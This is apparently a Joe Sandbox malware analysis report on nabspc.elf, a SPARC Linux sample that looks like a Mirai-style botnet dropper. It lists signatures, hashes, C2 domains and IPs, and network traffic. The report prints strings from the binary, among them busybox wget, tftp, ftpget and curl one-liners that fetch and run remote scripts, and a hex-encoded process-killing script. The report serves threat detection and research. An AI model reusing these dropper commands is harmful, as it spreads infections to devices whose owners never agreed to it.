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Linux Analysis Report
nabspc.elf

Overview

General Information

Sample name:	nabspc.elf
Analysis ID:	1564422
MD5:	7315c76c73973d549e2a58d19d58a3df
SHA1:	200407ee984f6c72f534f474be8fb4037297d118
SHA256:	a557c1bbe4937da941401c1109924f9f4fbab5e0b35c8e5cb38c0d2ac2119cf7
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564422
Start date and time:	2024-11-28 10:22:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabspc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/93@11/0

Runtime Messages

Command:	/tmp/nabspc.elf
PID:	5435
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabspc.elf (PID: 5435, Parent: 5360, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/nabspc.elf

nabspc.elf New Fork (PID: 5437, Parent: 5435)

nabspc.elf New Fork (PID: 5439, Parent: 5437)

nabspc.elf New Fork (PID: 5441, Parent: 5437)

nabspc.elf New Fork (PID: 5442, Parent: 5437)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabspc.elf

ReversingLabs: Detection: 34%

Source: nabspc.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 154.213.187.213 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.242 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.13:47286 -> 154.213.187.213:38241
Source: global traffic	TCP traffic: 192.168.2.13:54874 -> 154.213.187.242:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 209.152.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 54.119.104.150
Source: unknown	TCP traffic detected without corresponding DNS query: 40.91.112.148
Source: unknown	TCP traffic detected without corresponding DNS query: 48.8.56.246
Source: unknown	TCP traffic detected without corresponding DNS query: 50.164.139.229
Source: unknown	TCP traffic detected without corresponding DNS query: 86.125.198.216
Source: unknown	TCP traffic detected without corresponding DNS query: 32.170.12.115
Source: unknown	TCP traffic detected without corresponding DNS query: 9.50.168.185
Source: unknown	TCP traffic detected without corresponding DNS query: 9.125.75.67
Source: unknown	TCP traffic detected without corresponding DNS query: 65.212.184.55
Source: unknown	TCP traffic detected without corresponding DNS query: 119.59.99.111
Source: unknown	TCP traffic detected without corresponding DNS query: 12.218.241.114
Source: unknown	TCP traffic detected without corresponding DNS query: 12.118.26.102
Source: unknown	TCP traffic detected without corresponding DNS query: 146.147.58.193
Source: unknown	TCP traffic detected without corresponding DNS query: 2.59.66.223
Source: unknown	TCP traffic detected without corresponding DNS query: 16.172.0.238
Source: unknown	TCP traffic detected without corresponding DNS query: 182.135.56.159
Source: unknown	TCP traffic detected without corresponding DNS query: 188.224.183.183
Source: unknown	TCP traffic detected without corresponding DNS query: 24.29.229.249
Source: unknown	TCP traffic detected without corresponding DNS query: 3.138.74.85
Source: unknown	TCP traffic detected without corresponding DNS query: 209.152.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 33.146.136.48
Source: unknown	TCP traffic detected without corresponding DNS query: 132.109.160.215
Source: unknown	TCP traffic detected without corresponding DNS query: 54.119.104.150
Source: unknown	TCP traffic detected without corresponding DNS query: 13.125.39.77
Source: unknown	TCP traffic detected without corresponding DNS query: 197.216.3.69
Source: unknown	TCP traffic detected without corresponding DNS query: 196.186.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 40.91.112.148
Source: unknown	TCP traffic detected without corresponding DNS query: 6.193.198.179
Source: unknown	TCP traffic detected without corresponding DNS query: 70.1.212.103
Source: unknown	TCP traffic detected without corresponding DNS query: 48.8.56.246
Source: unknown	TCP traffic detected without corresponding DNS query: 37.55.77.77
Source: unknown	TCP traffic detected without corresponding DNS query: 50.31.84.200
Source: unknown	TCP traffic detected without corresponding DNS query: 50.164.139.229
Source: unknown	TCP traffic detected without corresponding DNS query: 171.38.18.150
Source: unknown	TCP traffic detected without corresponding DNS query: 142.74.139.236
Source: unknown	TCP traffic detected without corresponding DNS query: 18.191.22.22
Source: unknown	TCP traffic detected without corresponding DNS query: 218.152.112.223
Source: unknown	TCP traffic detected without corresponding DNS query: 102.1.186.52
Source: unknown	TCP traffic detected without corresponding DNS query: 154.191.186.131
Source: unknown	TCP traffic detected without corresponding DNS query: 172.12.92.54
Source: unknown	TCP traffic detected without corresponding DNS query: 221.22.253.243
Source: unknown	TCP traffic detected without corresponding DNS query: 50.105.7.246
Source: unknown	TCP traffic detected without corresponding DNS query: 86.125.198.216
Source: unknown	TCP traffic detected without corresponding DNS query: 9.50.168.185
Source: unknown	TCP traffic detected without corresponding DNS query: 9.125.75.67
Source: unknown	TCP traffic detected without corresponding DNS query: 32.170.12.115
Source: unknown	TCP traffic detected without corresponding DNS query: 65.212.184.55
Source: unknown	TCP traffic detected without corresponding DNS query: 119.59.99.111
Source: unknown	TCP traffic detected without corresponding DNS query: 12.218.241.114

Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]

Source: nabspc.elf	String found in binary or memory: http:///curl.sh
Source: nabspc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x2

Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5470/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5470/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5471/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5471/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5472/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5472/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5494/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5494/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5473/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5473/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5473/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5473/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5474/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5474/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5474/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5474/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5475/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5475/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5475/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5475/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5476/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5476/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5476/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5476/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5477/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5477/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5477/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5477/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5480/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5480/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5480/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5480/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5467/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5467/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5478/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5478/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5478/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5478/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5468/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5468/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5479/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5479/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5479/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5479/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5469/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5469/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5529/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5441)	File opened: /proc/5529/cmdline	Jump to behavior

Source: nabspc.elf, 5435.1.000055f496881000.000055f496906000.rw-.sdmp, nabspc.elf, 5439.1.000055f496881000.000055f496906000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: nabspc.elf, 5435.1.000055f496881000.000055f496906000.rw-.sdmp, nabspc.elf, 5439.1.000055f496881000.000055f496906000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: nabspc.elf, 5435.1.00007ffcfcc93000.00007ffcfccb4000.rw-.sdmp, nabspc.elf, 5439.1.00007ffcfcc93000.00007ffcfccb4000.rw-.sdmp	Binary or memory string: Ux86_64/usr/bin/qemu-sparc/tmp/nabspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabspc.elf
Source: nabspc.elf, 5435.1.00007ffcfcc93000.00007ffcfccb4000.rw-.sdmp, nabspc.elf, 5439.1.00007ffcfcc93000.00007ffcfccb4000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Antivirus Detection	Reputation
burnthe.libre	154.213.187.248	true	false		high
netfags.geek. [malformed]	unknown	unknown	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
175.115.165.234	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
92.240.127.70	unknown	Switzerland	15547	NETPLUSCH	false
170.135.247.84	unknown	United States	3147	US-BANCORPUS	false
149.20.70.73	unknown	United States	393507	GUSHISYSUS	false
70.57.167.152	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
104.187.43.125	unknown	United States	7018	ATT-INTERNET4US	false
110.184.143.121	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
3.158.137.253	unknown	United States	16509	AMAZON-02US	false
209.240.231.98	unknown	United States	12042	ENVENTISUS	false
70.122.185.48	unknown	United States	11427	TWC-11427-TEXASUS	false
140.6.169.211	unknown	United States	668	DNIC-AS-00668US	false
129.82.38.120	unknown	United States	12145	COLORADOSTATEUNIVUS	false
193.44.189.213	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
5.152.250.70	unknown	United Arab Emirates	59695	CCAD-ASAE	false
91.26.107.61	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
92.179.137.3	unknown	France	12479	UNI2-ASES	false
91.51.38.235	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
103.161.164.75	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
15.165.15.212	unknown	United States	16509	AMAZON-02US	false
42.113.188.122	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
181.189.0.94	unknown	Costa Rica	30361	SWIFTWILL2US	false
186.30.250.222	unknown	Colombia	19429	ETB-ColombiaCO	false
2.177.127.242	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
70.176.1.86	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
2.59.66.223	unknown	Belgium	34762	COMBELL-ASBE	false
169.186.174.82	unknown	United States	37611	AfrihostZA	false
137.123.136.47	unknown	United States	27219	SUNY-CORTLANDUS	false
115.150.153.96	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
169.255.154.20	unknown	Chad	327864	ALBIDEYNETTD	false
24.212.251.49	unknown	Canada	5645	TEKSAVVYCA	false
178.92.62.6	unknown	Ukraine	6849	UKRTELNETUA	false
9.50.168.185	unknown	United States	3356	LEVEL3US	false
134.133.156.27	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
158.15.229.17	unknown	United States	300	DNIC-AS-00300US	false
145.8.16.90	unknown	Netherlands	286	KPNNL	false
163.220.58.119	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
157.131.39.94	unknown	United States	7065	SONOMAUS	false
85.44.215.251	unknown	Italy	3269	ASN-IBSNAZIT	false
34.72.150.69	unknown	United States	15169	GOOGLEUS	false
40.21.212.164	unknown	United States	4249	LILLY-ASUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	nabm68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	nabppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	nabsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	nabx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nabarm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	splppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	mpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	nabppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.242

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKB-ASSKBroadbandCoLtdKR	nabm68k.elf	Get hash	malicious	Unknown	Browse	61.253.24.177
	nabsh4.elf	Get hash	malicious	Unknown	Browse	123.213.111.148
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	118.218.236.129
	nabx86.elf	Get hash	malicious	Unknown	Browse	180.64.52.199
	nabarm5.elf	Get hash	malicious	Unknown	Browse	114.206.157.141
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	39.119.210.52
	debug.elf	Get hash	malicious	Mirai	Browse	175.119.165.199
	ppc.elf	Get hash	malicious	Mirai	Browse	211.213.226.111
	arm7.elf	Get hash	malicious	Mirai	Browse	39.122.198.45
	spc.elf	Get hash	malicious	Mirai	Browse	39.122.198.45
US-BANCORPUS	wrgmhT3TP7.elf	Get hash	malicious	Mirai	Browse	170.135.204.251
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	170.135.121.8
	irq1.elf	Get hash	malicious	Tsunami	Browse	170.135.13.62
	5WTG6N45CH.elf	Get hash	malicious	Mirai	Browse	170.135.234.147
	L2duKeVUWV.elf	Get hash	malicious	Mirai	Browse	170.135.254.8
	365g2pmXib.elf	Get hash	malicious	Mirai	Browse	170.135.252.184
	vQyQaHKU0U.elf	Get hash	malicious	Gafgyt	Browse	170.135.234.167
	mirai.arm7.elf	Get hash	malicious	Mirai	Browse	170.135.54.143
	1azA8deia9.elf	Get hash	malicious	Unknown	Browse	170.135.63.184
	aqwdpnvdst.exe	Get hash	malicious	Unknown	Browse	170.135.223.254
NETPLUSCH	nabarm5.elf	Get hash	malicious	Unknown	Browse	31.31.56.58
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	31.31.55.245
	armv5l.elf	Get hash	malicious	Mirai	Browse	185.201.221.189
	na.elf	Get hash	malicious	Mirai	Browse	185.201.221.175
	arm5.nn-20241014-0317.elf	Get hash	malicious	Mirai, Okiru	Browse	185.205.111.252
	ZB2ShQdNBY.elf	Get hash	malicious	Mirai	Browse	31.31.55.230
	na.elf	Get hash	malicious	Unknown	Browse	81.13.208.249
	na.elf	Get hash	malicious	Mirai	Browse	31.31.55.222
	Tsunami.arm.elf	Get hash	malicious	Mirai	Browse	31.31.55.207
	c0m5xRfolz.elf	Get hash	malicious	Gafgyt, Mirai, Okiru	Browse	185.201.221.181

Process:	/tmp/nabspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.205537995116697
Encrypted:	false
SSDEEP:	6:MggceFXbdTY/V05sceFXBBgY/VNz/VfKoO/VNfiY/VH:Mg9eB5ZezTal
MD5:	D09CBCFBC6DF91C09831EFBD7FEAD44B
SHA1:	A766699ADAF9FB802DB2C76EBF41F6DE380277EF
SHA-256:	07716820BDE76906C3DD41390E49218F191D8EB6D4CCAB1CAA91878DE2F59F91
SHA-512:	7DC38FC06EAA5991439D2187C383CDAE9EE3CB29DE01F2BDCB204C5878E543E46937760219B1F4BC11D0935FED032131A8BB2F49901D218DABAAEF178AEEF958
Malicious:	false
Reputation:	low
Preview:	10000-1b000 r-xp 00000000 fd:00 531567 /tmp/..2c000-2d000 rw-p 0000c000 fd:00 531567 /tmp/..2d000-2f000 rw-p 00000000 00:00 0 .2f000-30000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabspc.elf	false		high
http:///curl.sh	nabspc.elf	false		high

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.711449543332262
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabspc.elf
File size:	50'040 bytes
MD5:	7315c76c73973d549e2a58d19d58a3df
SHA1:	200407ee984f6c72f534f474be8fb4037297d118
SHA256:	a557c1bbe4937da941401c1109924f9f4fbab5e0b35c8e5cb38c0d2ac2119cf7
SHA512:	a1cf18c38f27f0ce85bd8c598f53bc75ec41136e506a9a891c6f0ea3e36c0218f527036d8d638cc46bae607f7859094621887fddf0bfbab859786ee0df8790df
SSDEEP:	768:TzsoGZZelaOfYkbHaig7L9UWLd2+OOoaO+V+J5LjszH7Lhw:/sfZZeITkbHY9FLcb3IVSNszH7Lhw
TLSH:	41235D21BEB59C1BC5C6647B90E74634B6F6074BA4BCC71E7D721E8CBB04948260BAF1
File Content Preview:	.ELF...........................4.........4. ...(.......................(...(...........................\|... ........dt.Q................................@..(....@.'F................#.....a...`.....!..... ...@.....".........`......$ ... ...@...........`....

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	49600
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x9d50	0x0	0x6	AX	4
.fini	PROGBITS	0x19e00	0x9e00	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x19e18	0x9e18	0x1010	0x0	0x2	A	8
.ctors	PROGBITS	0x2c000	0xc000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2c008	0xc008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x2c010	0xc010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x2c018	0xc018	0x164	0x0	0x3	WA	8
.bss	NOBITS	0x2c180	0xc17c	0x11a0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0xc17c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xae28	0xae28	6.1097	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xc000	0x2c000	0x2c000	0x17c	0x1320	0.6800	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 10:22:53.617819071 CET	56234	53	192.168.2.13	168.235.111.72
Nov 28, 2024 10:22:53.938417912 CET	53	56234	168.235.111.72	192.168.2.13
Nov 28, 2024 10:23:04.467309952 CET	43808	53	192.168.2.13	202.61.197.122
Nov 28, 2024 10:23:04.711571932 CET	53	43808	202.61.197.122	192.168.2.13
Nov 28, 2024 10:23:15.924372911 CET	57571	53	192.168.2.13	51.158.108.203
Nov 28, 2024 10:23:16.165777922 CET	53	57571	51.158.108.203	192.168.2.13
Nov 28, 2024 10:23:27.377298117 CET	41736	53	192.168.2.13	202.61.197.122
Nov 28, 2024 10:23:27.625041008 CET	53	41736	202.61.197.122	192.168.2.13
Nov 28, 2024 10:23:38.809207916 CET	58219	53	192.168.2.13	152.53.15.127
Nov 28, 2024 10:23:39.057183981 CET	53	58219	152.53.15.127	192.168.2.13
Nov 28, 2024 10:23:51.490619898 CET	52430	53	192.168.2.13	51.158.108.203
Nov 28, 2024 10:23:51.739430904 CET	53	52430	51.158.108.203	192.168.2.13
Nov 28, 2024 10:24:02.944482088 CET	45700	53	192.168.2.13	194.36.144.87
Nov 28, 2024 10:24:03.187900066 CET	53	45700	194.36.144.87	192.168.2.13
Nov 28, 2024 10:24:13.716269016 CET	50101	53	192.168.2.13	194.36.144.87
Nov 28, 2024 10:24:13.958168983 CET	53	50101	194.36.144.87	192.168.2.13
Nov 28, 2024 10:24:25.505404949 CET	43542	53	192.168.2.13	81.169.136.222
Nov 28, 2024 10:24:25.744762897 CET	53	43542	81.169.136.222	192.168.2.13
